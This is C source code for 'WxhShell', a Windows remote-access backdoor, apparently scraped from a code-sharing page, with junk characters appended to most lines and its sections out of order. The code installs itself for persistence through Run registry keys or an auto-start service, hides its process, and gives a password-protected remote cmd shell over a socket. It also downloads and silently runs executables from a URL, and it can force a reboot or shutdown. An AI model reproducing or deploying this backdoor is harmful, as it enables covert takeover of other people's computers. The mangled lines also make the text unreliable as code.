    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VA%"IAl  
    else { Fkz  
    closesocket(wsh); B@;)$1-UT  
    ExitThread(0); jzj{{D[^  
    } YDNqWP7s  
    break; osd^SnL1/5  
    } I1myuZ  
  // 获取shell gZjOlp  
  case 's': { ob] lCX)  
    CmdShell(wsh); ii;WmE&  
    closesocket(wsh); g& "(- :  
    ExitThread(0); |x6mkSf]ke  
    break; 8Wj=|Ow-q  
  } fMQ*2zGu95  
  // 退出 }m9LyT=~$  
  case 'x': { Ke ?uE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VRX" @uCD  
    CloseIt(wsh); bS<@Rd{g  
    break; Jrk^J6aa  
    } qp W#!Vbx  
  // 离开 2Z O'X9  
  case 'q': { j>o +}p?3I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B (1,Rq[  
    closesocket(wsh); <]'"e]  
    WSACleanup(); @ g75T`N  
    exit(1); N4To#Q1w  
    break; S(J\<)b  
        } Idlu1g  
  } | sFe:TX  
  } |nEV Oy>'  
s\W  
  // 提示信息 e9W7ke E*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` (D4gPW  
} '%EZoc/U  
  } d# 3tQ*G/  
LO]6Xd"  
  return; ]|N4 #4  
} QklNw6,  
#eC;3Kq#-  
// shell模块句柄 ;:c%l.Y2  
int CmdShell(SOCKET sock) B Z?W>'B%$  
{ aEDN]O95?  
STARTUPINFO si; O|Ic[XfLx  
ZeroMemory(&si,sizeof(si)); C|f7L>qe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "rGOw'!q>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y<`?@(0$  
PROCESS_INFORMATION ProcessInfo; q.MVF]  
char cmdline[]="cmd"; xD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rh`.$/^  
  return 0; Yg)V*%0n  
} M%{?\)s  
g`OOVaB  
// 自身启动模式 -(w~LT$ "  
int StartFromService(void) jBv$^L  
{ 2 1~7{#  
typedef struct b%;59^4AjD  
{ L)lQ&z?  
  DWORD ExitStatus; }[z<iij4  
  DWORD PebBaseAddress; v1r_Z($  
  DWORD AffinityMask; )_v\{N  
  DWORD BasePriority; )@qup _M@  
  ULONG UniqueProcessId; *e<Eu>fW#&  
  ULONG InheritedFromUniqueProcessId; HB7(  
}   PROCESS_BASIC_INFORMATION; +oy&OKCa  
|WAD $3  
PROCNTQSIP NtQueryInformationProcess; V+qJrZ ,i  
g6g$nY@Jm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hoR=%pC*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3l%,D: ?  
M{xVkXc>  
  HANDLE             hProcess; @vQa\|j  
  PROCESS_BASIC_INFORMATION pbi; ahtYSz_FM  
V-_/(xt*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hl3)R*&'J  
  if(NULL == hInst ) return 0; 3u*hT T  
wm=RD98  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kwHqvO!G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VkpHzr[k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b(RB G  
0[lsoYUq  
  if (!NtQueryInformationProcess) return 0;  gt_X AH  
A)z PaXZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *v rW A  
  if(!hProcess) return 0; !\0F.*   
fYhR#FVI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D#7_T KX  
,?k%jcR  
  CloseHandle(hProcess); 5#0e={X  
Ud#X@xK<h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T^$g N|  
if(hProcess==NULL) return 0; rKzlK 'U  
P>Q{He:  
HMODULE hMod; %l} Q?Z  
char procName[255]; 0)AM-/"  
unsigned long cbNeeded; BF36V\  
=4zNo3IvL+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vJRnBq+y  
W7L+8LU;  
  CloseHandle(hProcess); 4TUtY:  
@H\pipT_b  
if(strstr(procName,"services")) return 1; // 以服务启动 H#L#2M%  
Iy S"  
  return 0; // 注册表启动 -|}%~0)/bH  
} K 3Yw8t2J  
yW\XNX  
// 主模块 {/d4PI7)tK  
int StartWxhshell(LPSTR lpCmdLine) {7?9jEj  
{ &$qF4B*  
  SOCKET wsl; \Mb(6~nC  
BOOL val=TRUE; hCM8/Vvx6  
  int port=0; CE#\Roi x)  
  struct sockaddr_in door; a@#Q:O)4  
]U,CKJF%/  
  if(wscfg.ws_autoins) Install(); f xDj+Q1p  
8xF)_UV  
port=atoi(lpCmdLine); Wp5]Uk  
^/>Wr'w   
if(port<=0) port=wscfg.ws_port; 4\N_ G @  
#JA}LA"l  
  WSADATA data; 5"JU?e59M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2{ o0@  
[ -ISR7D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |2)Sd[ q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dEASvD'  
  door.sin_family = AF_INET; lC#RNjDp/~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G02ox5X  
  door.sin_port = htons(port); e?V,fzg  
~G>jw"r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TbLe6x  
closesocket(wsl); vv+D*e&<  
return 1; *hVb5CS  
} BeK2;[5C  
6b?`:$Cw3)  
  if(listen(wsl,2) == INVALID_SOCKET) { <EMkD1e  
closesocket(wsl); =m}TU)4.  
return 1; ^m*3&x8  
} ]gu1#  
  Wxhshell(wsl); 6Rcu a<;2P  
  WSACleanup(); ~TDzq -U)  
4`nqAX~'f  
return 0; ?6i;)eIOI  
L=,OZ9aA  
} }YQ:6I  
qZaO&"q  
// 以NT服务方式启动 mD7}t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *z0K%@M  
{ D(Qa>B"1  
DWORD   status = 0; W57&\PXYn  
  DWORD   specificError = 0xfffffff; kMy<G8 s  
|olNA*4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0p-#f|ET  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FV A UR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IX9K.f  
  serviceStatus.dwWin32ExitCode     = 0; 0[/vQ+O]2  
  serviceStatus.dwServiceSpecificExitCode = 0; -kl;!:'.3  
  serviceStatus.dwCheckPoint       = 0; 14  H'!$  
  serviceStatus.dwWaitHint       = 0; 3gpo %  
c45tmul  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sAi&A9"*   
  if (hServiceStatusHandle==0) return; `(!NYx  
j 1(T )T  
status = GetLastError(); _gKu8$o=-  
  if (status!=NO_ERROR) $A`xhh[  
{ !.EcP=S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )1f+ld%R  
    serviceStatus.dwCheckPoint       = 0; o/cr{>"N  
    serviceStatus.dwWaitHint       = 0; nq' M?c#E  
    serviceStatus.dwWin32ExitCode     = status; R:A'&;S  
    serviceStatus.dwServiceSpecificExitCode = specificError; I!0JG`&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HA!t$[_Ve  
    return; b3\B8:XFo|  
  } xP{-19s1]  
!h CS#'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UfR~%p>K  
  serviceStatus.dwCheckPoint       = 0;  %[`a  
  serviceStatus.dwWaitHint       = 0; 3_W{T@T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K\P!a@>1  
} ~:[!Uyp0b  
Seda}  
// 处理NT服务事件,比如:启动、停止 Uky9zGa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $n-Af0tK  
{ 0z`/Hn  
switch(fdwControl) nUc;/  
{ VD$ Eb  
case SERVICE_CONTROL_STOP: mV?&%>*(f  
  serviceStatus.dwWin32ExitCode = 0; /s|{by`we4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :y# T9R9  
  serviceStatus.dwCheckPoint   = 0; R"+wih  
  serviceStatus.dwWaitHint     = 0; +K^h!d]  
  { ,r=re!QI7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3]/.\(2  
  } +TN^NE  
  return; ~c* UAowS  
case SERVICE_CONTROL_PAUSE: T%(C-Quh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \"x>JW4w  
  break;  sTkkM9  
case SERVICE_CONTROL_CONTINUE: /L&M,OUcr.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cy|%sf`  
  break; SfW}"#L>5  
case SERVICE_CONTROL_INTERROGATE: L-\ =J  
  break; jl}$HEI5m}  
}; d(7NO;S8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /v#)f-N%zs  
} #cU^U#;=r  
#. ct5  
// 标准应用程序主函数 }ptMjT{9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5G(E&>~  
{ DM),|Nq"  
c?K~/bx.  
// 获取操作系统版本 40#9]=;}  
OsIsNt=GetOsVer(); i#W*'   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5HKW"=5Cf  
.Evy_o\^  
  // 从命令行安装 6~8F!b2  
  if(strpbrk(lpCmdLine,"iI")) Install(); eLfvMPVo  
nt ,7u(  
  // 下载执行文件 *1^$.Q&  
if(wscfg.ws_downexe) { -M4p\6)Ge  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ``|AgIg  
  WinExec(wscfg.ws_filenam,SW_HIDE); 30Drrno7Io  
} dE5D3ze  
>xg5z  
if(!OsIsNt) { uzBz}<M=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?j{C*|yHO  
HideProc(); OBOwz4<  
StartWxhshell(lpCmdLine); =o^|bih  
} WeMAe w/d  
else R7?29?$7  
  if(StartFromService()) |`O7nOM  
  // 以服务方式启动 `rb>K  
  StartServiceCtrlDispatcher(DispatchTable); gfy19c 9  
else g "hJ{{<  
  // 普通方式启动 vl:J40Kfn  
  StartWxhshell(lpCmdLine); s8<gK.atl  
4w$_ ]ke  
return 0; OP! R[27>  
} #E$X ,[ZFo  
}Hcx=}j  
^6;V}2>v}  
1;lmu]I>)  
=========================================== @T:fa J5\'  
B_^]C9C|  
bw4oLu?  
#=,imsW)  
SO{p;g  
nFM@@oA  
" Ne6}oQy(S`  
60}! LmL  
#include <stdio.h> ~i0R^qfr  
#include <string.h> / T c=  
#include <windows.h> |/`%3'4H  
#include <winsock2.h> ,EpH4*e  
#include <winsvc.h> aFj.i8+  
#include <urlmon.h> 4n0xE[-  
/)>S<X  
#pragma comment (lib, "Ws2_32.lib") cYNV\b4-  
#pragma comment (lib, "urlmon.lib") lr@#^  
NwlU%{7W6  
#define MAX_USER   100 // 最大客户端连接数 -YGbfd<wq  
#define BUF_SOCK   200 // sock buffer T:iP="?{  
#define KEY_BUFF   255 // 输入 buffer _. V?A*  
V416g |lBO  
#define REBOOT     0   // 重启 ?1I GYyu!  
#define SHUTDOWN   1   // 关机 3l1cyPv  
jO~:<y3 =  
#define DEF_PORT   5000 // 监听端口 3Q By\1h.  
HU;#XU1  
#define REG_LEN     16   // 注册表键长度 {~Tg7<\L  
#define SVC_LEN     80   // NT服务名长度 , YW|n:X  
;xYNX  
// 从dll定义API CE%_A[a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?]O7Ao  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kv{}C)kt3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?> D tw#}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GqKsK r2%  
zaimGMJ ,  
// wxhshell配置信息 B 0ee?VC  
struct WSCFG { Wp0 Dq(  
  int ws_port;         // 监听端口 }8K4-[\  
  char ws_passstr[REG_LEN]; // 口令 TbvtqM 0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]lOh&Cz[  
  char ws_regname[REG_LEN]; // 注册表键名 /+]s.V.  
  char ws_svcname[REG_LEN]; // 服务名 s +s" MI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,e722wz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NH A5e<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b1#dz]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e [h8}F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UUe#{6Jx_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eU@Cr7@,|  
iq$$+y,  
}; w'Tq3-%V  
-~{c u47_  
// default Wxhshell configuration K2)!h.W  
struct WSCFG wscfg={DEF_PORT, iBg3mc@OO  
    "xuhuanlingzhe", b7`D|7D  
    1, u{<"NR h  
    "Wxhshell", G3i !PwW  
    "Wxhshell", 0% L l  
            "WxhShell Service", fxcc<h4  
    "Wrsky Windows CmdShell Service", `fNpY#QsN  
    "Please Input Your Password: ", xw5d|20b  
  1, X2sHE  
  "http://www.wrsky.com/wxhshell.exe", n/d`qS  
  "Wxhshell.exe" "/Pjjb:2  
    }; =T?}Nt  
/phX'xp  
// 消息定义模块 -Apc$0ZsN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }L=/A7Nk>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N "tFP9;K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BR`ygrfe  
char *msg_ws_ext="\n\rExit."; df}r% i  
char *msg_ws_end="\n\rQuit."; y&~w2{a  
char *msg_ws_boot="\n\rReboot..."; Vv.r8IGYm  
char *msg_ws_poff="\n\rShutdown..."; z;tI D~Y  
char *msg_ws_down="\n\rSave to "; c_grPk2O4  
796\jf$  
char *msg_ws_err="\n\rErr!"; %]gTm7 =t  
char *msg_ws_ok="\n\rOK!"; 0oZsb\  
g#]" hn  
char ExeFile[MAX_PATH]; 3f.b\4 U  
int nUser = 0; t_z>Cl^u  
HANDLE handles[MAX_USER]; *D}0 [|O  
int OsIsNt; f5*k7fg  
4S"\~><  
SERVICE_STATUS       serviceStatus; \W5O&G-C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JCx WWre  
} p FQRSOZ  
// 函数声明 .T<= z  
int Install(void); 3981ie  
int Uninstall(void); VZr>U*J[:  
int DownloadFile(char *sURL, SOCKET wsh); `_I@i]i^  
int Boot(int flag); Qf M zF  
void HideProc(void); OVzt\V*+%W  
int GetOsVer(void); e~%  ;K4  
int Wxhshell(SOCKET wsl); Pt:e!qX)  
void TalkWithClient(void *cs); M-L2w"  
int CmdShell(SOCKET sock); -H^oXeN  
int StartFromService(void); mYN7kYR}<`  
int StartWxhshell(LPSTR lpCmdLine); <#=N m0S$  
/@ !CKh`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f ),TO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ei}/iBG@  
:K`ESq!8u  
// 数据结构和表定义 RoA?p;]<  
SERVICE_TABLE_ENTRY DispatchTable[] = K;?,FlH  
{ <~ad:[  
{wscfg.ws_svcname, NTServiceMain}, 6fH@wQ"wN  
{NULL, NULL} q\Q{sv_  
}; TNCgaTJ{h  
#4MBoN(3  
// 自我安装 <9E0iz+j  
int Install(void) ptatzp]c#  
{ 5Wyz=+?m|  
  char svExeFile[MAX_PATH]; qf@q]wtar  
  HKEY key; [Aj Q#;#Q  
  strcpy(svExeFile,ExeFile); j Uv!9Y}F  
4(e59ZgY  
// 如果是win9x系统,修改注册表设为自启动 =L%DX#8  
if(!OsIsNt) { FMNm,O]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~CB[9D=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .7'kw]{/  
  RegCloseKey(key); _It,%<3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _\Q^x)w6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t"hYcnC  
  RegCloseKey(key); }I|u'#n_  
  return 0; T{V/+RM  
    } 8`4<R6]LKB  
  } M` q?Fk  
} E J$36  
else { {,*"3O:\:  
>_rha~   
// 如果是NT以上系统,安装为系统服务 N8qDdr9p?c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )vmA^nU>  
if (schSCManager!=0) V@>r*7\F  
{ GRb*EeT  
  SC_HANDLE schService = CreateService T2}FYVj?!g  
  ( S6}@I ,Q  
  schSCManager, u p.Q>28r  
  wscfg.ws_svcname, l Z#o+d2Y  
  wscfg.ws_svcdisp, lzw3=H  
  SERVICE_ALL_ACCESS, ,NnhHb2\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sK{l 9  
  SERVICE_AUTO_START, +iRq8aS_  
  SERVICE_ERROR_NORMAL, .Ha'p.  
  svExeFile, A+y  
  NULL, JdIlWJY  
  NULL, h\plQ[T  
  NULL, o7mZzzP  
  NULL, {x'GJtpb  
  NULL ?9l [y  
  ); O: @}lK+H  
  if (schService!=0) m(], r})  
  { -':Y\:W  
  CloseServiceHandle(schService); Hzrtlet  
  CloseServiceHandle(schSCManager); [: xiZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~m|Mg9-  
  strcat(svExeFile,wscfg.ws_svcname); >=]'hyn]]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f;/QJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [V4{c@  
  RegCloseKey(key); * ),8PoT  
  return 0; OB[o2G<0  
    } kYzC#.|1  
  } SyAvKd`g  
  CloseServiceHandle(schSCManager); /C/id)h>  
} )p!7 #v/@f  
} jiF?fX@  
U4 13?Pe  
return 1; 'J,T{s1J  
} J_>w3uY  
>^Se'SE]  
// 自我卸载 Hm+ODv9  
int Uninstall(void) D")_;NLE1  
{ Lh.`C7]  
  HKEY key; sp@E8G%xO  
,K:ll4{b  
if(!OsIsNt) { #gm)dRKm%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kId n6 Wx,  
  RegDeleteValue(key,wscfg.ws_regname); MxyN\Mq'  
  RegCloseKey(key); J8Yd1.Qj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `%09xMPu  
  RegDeleteValue(key,wscfg.ws_regname); mhW-J6u*  
  RegCloseKey(key); )'*5R<#  
  return 0; &$`yo`  
  } DGevE~  
} ,f1q)Qf  
} >~K qg~  
else { rDm'Z>nTf  
jy]JiQ B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `DT3x{}_S  
if (schSCManager!=0) 8k(P,o  
{ )xb|3&+W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rb(SBa  
  if (schService!=0) >J|]moSVA  
  { TYI7<-Mp:[  
  if(DeleteService(schService)!=0) { >vuY+o;B  
  CloseServiceHandle(schService); e" ]2=5g  
  CloseServiceHandle(schSCManager); %cE 2s`  
  return 0;  9CCkqB/  
  } )5|I_PXB  
  CloseServiceHandle(schService); ='TE,et@d  
  } 6sa"O89   
  CloseServiceHandle(schSCManager); XQ4G)  
} Z}|(F RVk  
} %*#n d  
: Sq?a0!S  
return 1; 0%) i<a!_Z  
} ~4?9a(>3  
V138d?Mm  
// 从指定url下载文件 Z3!f^vAi&  
int DownloadFile(char *sURL, SOCKET wsh) O@?k T;B  
{ e@{i  
  HRESULT hr; 0oEOre3^%  
char seps[]= "/"; 191&_*Xb  
char *token; PQ@L+],C  
char *file; kNqH zo  
char myURL[MAX_PATH]; [o*7FEM|<  
char myFILE[MAX_PATH]; L28*1]\Jh  
c{[q>@y pK  
strcpy(myURL,sURL); A>{p2?`+!  
  token=strtok(myURL,seps); o !4!"O'E  
  while(token!=NULL) zD3mX<sw  
  { 9<K j6t_  
    file=token; +:3*  
  token=strtok(NULL,seps); }8;[O 9  
  } V'w@rc\XN  
w&xDOyW]  
GetCurrentDirectory(MAX_PATH,myFILE); O$IjN x  
strcat(myFILE, "\\"); 3BpZX`l*p  
strcat(myFILE, file); D~o$GW%  
  send(wsh,myFILE,strlen(myFILE),0); N41R  
send(wsh,"...",3,0); <L&m4O#|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pH`44KAuM  
  if(hr==S_OK) Py`N4y ~  
return 0; erO>1 ,4S  
else GWvH[0  
return 1; 9}z0J  
QM?#{%31  
} ~Y.tz`2D  
 r[?1  
// 系统电源模块 y1=N F  
int Boot(int flag) WoxwEi1~0  
{ 0j C3fT!n  
  HANDLE hToken; 0-{t FN  
  TOKEN_PRIVILEGES tkp; #M A4  
#[#KL/i)$  
  if(OsIsNt) { m~uOXb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y*MF&mQ[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ':R,53tjl  
    tkp.PrivilegeCount = 1; 7mm1P9Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f-n z{U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y'e eA 2O  
if(flag==REBOOT) { \p%3vRwS%p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sZ?mP;Q  
  return 0; @,XSs  
} 2 1PFR:lP7  
else { Mkq( T[)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~n}k\s~|4  
  return 0; +{]xtQB=,{  
} @ |'5 n  
  } wW>)(&!F  
  else { w\}?(uO  
if(flag==REBOOT) { >[6{LAe~hp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?bw4~  
  return 0; <'G~8tA%v  
} Xv@SxS-5l  
else { L4L2O7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r]ShZBAbYp  
  return 0; U.{l;EL:T  
} 6ksAc%|5  
} R>`}e+-D  
4`Ic&c/  
return 1; =vT<EW}[  
} ;E ec5w1  
@* il3h,  
// win9x进程隐藏模块 ^}f -!nf[  
void HideProc(void)  )J?{+3  
{ 0kDK~iT  
-7!&@wuQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Km:}=  
  if ( hKernel != NULL ) DQwGUF'(  
  { y$<Vha  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ttXjn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L,; D@Xi  
    FreeLibrary(hKernel); N N|u_  
  } ]; %0qb  
KsrjdJx, '  
return; ^*~;k|;&  
} %& _V0R\k  
exdx\@72  
// 获取操作系统版本 nADX0KI  
int GetOsVer(void) X,8<oX1r  
{ TPhTaKCio  
  OSVERSIONINFO winfo; _ pO`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H'F6$ypoS  
  GetVersionEx(&winfo); >%E([:$A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b3YO!cJ  
  return 1; |y<),j6  
  else 5d@t7[]  
  return 0; ()sTb>L  
} JY!l!xH(6  
7=]i~7uy  
// 客户端句柄模块 , *qCf@$I  
int Wxhshell(SOCKET wsl) +\Q?w?DE|  
{ m*X[ Jtr  
  SOCKET wsh; 'B0{U4?   
  struct sockaddr_in client; |w}xl'>q  
  DWORD myID; -CH`>  
n41@iK2l  
  while(nUser<MAX_USER) wW?,;B'74  
{ XBQ\_2>  
  int nSize=sizeof(client); I]!^;))  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d2s OYCKe  
  if(wsh==INVALID_SOCKET) return 1; g]UBZ33y  
q2:K 4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q !qrNa6  
if(handles[nUser]==0) B^D(5  
  closesocket(wsh); ^KB~*'DN~s  
else q %A?V _  
  nUser++; )5fQ$<(Z  
  } HyiF y7j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .}')f;jH5<  
!se0F.K  
  return 0; W0jZOP5_.$  
} [#YE^[*qK  
H&b3{yOa  
// 关闭 socket )rLMIk  
void CloseIt(SOCKET wsh) .yENM[-bQ  
{ t?nX=i*~]  
closesocket(wsh); r3rxC&  
nUser--; yk2!8  
ExitThread(0); 97!>%d[0  
} z'p:gv]  
p1c3Q$>i  
// 客户端请求句柄 >MJ?g-  
void TalkWithClient(void *cs) KNgH|5Pb  
{ EliTFxp  
|_u8mV  
  SOCKET wsh=(SOCKET)cs; \8O O)98'  
  char pwd[SVC_LEN]; -)!> M>=s  
  char cmd[KEY_BUFF]; Ch )dLPz@  
char chr[1]; l!E7A Kk8  
int i,j; #<( = }?  
eK/?%t  
  while (nUser < MAX_USER) { 2fIRlrA$  
(eCFWmO  
if(wscfg.ws_passstr) { ECa$vvK m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9s +z B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hgRVwX  
  //ZeroMemory(pwd,KEY_BUFF); nxQ?bk}*d  
      i=0; vFrt|JC_{  
  while(i<SVC_LEN) { acd:r%y  
1r r@  
  // 设置超时 b{DiM098  
  fd_set FdRead; PC c|}*b  
  struct timeval TimeOut; =G~~?>=@2  
  FD_ZERO(&FdRead); zT~B 6  
  FD_SET(wsh,&FdRead); (wRBd  
  TimeOut.tv_sec=8; =\)IaZ  
  TimeOut.tv_usec=0; /W#O +  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3>z[PPw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RnfXN)+P  
+kdySWF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mxSKG> O  
  pwd=chr[0]; ! 0/z>#b  
  if(chr[0]==0xd || chr[0]==0xa) { OEr:xK2T  
  pwd=0; Q4s&E\}  
  break; O gmO&cE  
  } v;y0jD#b  
  i++; xa( m5P  
    } 2}}?'PwwT  
Ja]o GT=e  
  // 如果是非法用户,关闭 socket &Y@#g9G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3HyhEVR-#~  
} O\;=V`z-  
YC_3n5F%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P];JKE%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u%O-;>J  
]Pn !nSg  
while(1) { f7}"lG]q  
P4 ul[zZ  
  ZeroMemory(cmd,KEY_BUFF); ,gnQa  
LE?u`i,e=+  
      // 自动支持客户端 telnet标准   !a1i Un9  
  j=0; [_y@M ]  
  while(j<KEY_BUFF) { ]6tkEyuq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t qOi x/  
  cmd[j]=chr[0]; 4aZCFdc  
  if(chr[0]==0xa || chr[0]==0xd) { c(- Mc6  
  cmd[j]=0; xSpC'"   
  break; k7_I$ <YDj  
  } Ni[4OR$-O  
  j++; UkR3}{i  
    } guN4-gGDr<  
)Du -_Z  
  // 下载文件 .&,[,  
  if(strstr(cmd,"http://")) { ST1Ts5I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  *2u E  
  if(DownloadFile(cmd,wsh)) 8dT'xuch  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :s8A:mx  
  else }\v^+scD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5IMSNGS  
  } %|3e.1oX  
  else { =.m6FRsU  
X<Za9  
    switch(cmd[0]) { b5ie <s  
  UPCQs",  
  // 帮助 zCXqBuvu1  
  case '?': { [ET6(_=b  
